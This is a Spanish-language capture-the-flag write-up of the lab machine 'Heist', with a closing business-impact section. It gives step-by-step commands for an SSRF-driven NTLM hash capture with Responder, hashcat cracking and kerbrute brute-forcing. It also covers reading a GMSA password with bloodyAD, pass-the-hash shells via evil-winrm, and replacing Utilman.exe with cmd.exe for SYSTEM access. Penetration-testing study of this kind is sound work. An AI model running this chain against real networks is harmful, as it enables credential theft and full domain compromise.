Inicializando interfaz segura...0%
mem: 0x0000pid: 1000
SYSTEM ONLINE

v2.0.4 // SECURE

~ / ops / heist.es.md

Heist

10 de febrero de 2025 | Proving Grounds | hard
#windows #ssrf #ntlm-relay #responder #gmsa #serestoreprivilege #utilman #bloodhound #active-directory

Heist Banner

Detalles

  • Sistema Operativo: Windows
  • Dificultad: Hard
  • IP Address: 192.168.146.165
  • Autor: AETH3RON

Resumen

Heist es una máquina Windows que implica explotar una aplicación web para obtener acceso inicial mediante Server-Side Request Forgery (SSRF) y captura de hash NTLM. El movimiento lateral se logra enumerando permisos de Active Directory, específicamente aprovechando la capacidad de leer contraseñas de Group Managed Service Account (GMSA). La escalada a SYSTEM se logra abusando de SeRestorePrivilege para secuestrar el binario Utilman.

Enumeración

Nmap

Comenzamos realizando un escaneo SYN para identificar los puertos abiertos.

nmap -Pn -sS -sV -p- 192.168.146.165 -oN nmap-basic

escaneo nmap básico

Realizamos un escaneo más detallado sobre los puertos descubiertos.

nmap -Pn -sS -sC -p80,88,135,139,389,445,464,593,636,3268,3269,5985,8080 192.168.146.165 -oN nmap-common

escaneo nmap completo

Enumeración Web

Investigamos el servidor web en el puerto 8080, donde vemos una interfaz de búsqueda de tickets de soporte.

interfaz web de soporte

Iniciamos un servidor Python HTTP y enviamos nuestra IP en la barra de búsqueda. La aplicación envía una petición a nuestro listener, confirmando la vulnerabilidad SSRF.

servidor python listener

barra de búsqueda vulnerable

Acceso Inicial

Para aprovechar la SSRF para captura de credenciales, utilizamos Responder escuchando en nuestra interfaz tun0.

responder -I tun0 -v

responder listener activo

Al disparar la SSRF apuntando a nuestra IP, el servidor intenta autenticarse contra nuestro servidor SMB rogue, capturando el hash NTLMv2 para el usuario enox.

hash ntlm capturado

Usamos hashcat con rockyou.txt para crackear el hash. La contraseña: california.

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

crackeando hash con hashcat

Establecemos shell con evil-winrm.

evil-winrm -i 192.168.146.165 -u enox -p california

shell inicial con evil-winrm

Ruta Alternativa con Enumeración de Usuarios

También es posible identificar usuarios válidos del dominio con kerbrute y realizar brute-force de contraseña.

kerbrute userenum -d heist.offsec --dc 192.168.146.165 /usr/share/wordlists/SecLists/Usernames/...

kerbrute enumeración de usuarios

Una vez confirmado el usuario Enox, es posible realizar brute-force de contraseña.

kerbrute fuerza bruta de contraseña

⚠️ Nota: Este método lleva un alto riesgo de bloqueo de cuenta en entornos reales.

Movimiento Lateral

Subimos SharpHound y recolectamos datos del dominio.

.\SharpHound.exe -c All --zipfilename loot.zip

recolección con sharphound

BloodHound revela que el usuario Enox puede leer el atributo msDS-ManagedPassword de la GMSA svc_apache$.

bloodhound análisis GMSA

Usamos bloodyAD para recuperar el hash NTLM de la cuenta GMSA.

bloodyAD --host 192.168.146.165 -d heist.offsec -u enox -p california get object 'svc_apache$' --attr msDS-ManagedPassword

obteniendo hash GMSA con bloodyad

Autenticamos como svc_apache$ con evil-winrm usando el hash NTLM.

evil-winrm -i 192.168.146.165 -u 'svc_apache$' -H <NTLM_HASH>

shell como svc_apache con evil-winrm

Escalada de Privilegios

Como svc_apache$, identificamos SeRestorePrivilege.

whoami /priv

privilegios de svc apache

Este privilegio permite modificar cualquier archivo del sistema independientemente de las ACLs. Lo abusamos reemplazando el binario de Accesibilidad (Utilman.exe) con cmd.exe.

cmd /c rename C:\Windows\System32\Utilman.exe Utilman.bak
cmd /c copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe

renombrando utilman

Con el binario reemplazado, iniciamos una conexión RDP al objetivo.

xfreerdp3 /u:enox /p:california /v:192.168.146.165

conexión rdesktop

En la pantalla de login, activamos el botón “Ease of Access” (Windows Key + U). Como reemplazamos el binario, esto ejecuta cmd.exe con privilegios de SYSTEM.

shell de system

Impacto de Negocio

Esta cadena de ataque expone debilidades críticas en la seguridad de aplicaciones web y la gestión de cuentas de servicio de Active Directory. La vulnerabilidad SSRF inicial permite a un atacante forzar la autenticación NTLM de servicios internos, eludiendo por completo las defensas perimetrales. El posterior abuso de permisos de lectura de contraseñas de Group Managed Service Accounts (GMSA) demuestra cómo las delegaciones excesivamente permisivas en AD pueden otorgar acceso a cuentas de servicio altamente privilegiadas. La explotación final de SeRestorePrivilege — que permite escrituras arbitrarias de archivos incluyendo binarios del sistema — ilustra cómo una única cuenta de servicio comprometida puede llevar al compromiso total del controlador de dominio, amenazando la integridad de toda la autenticación y autorización dentro de la organización.

Referencias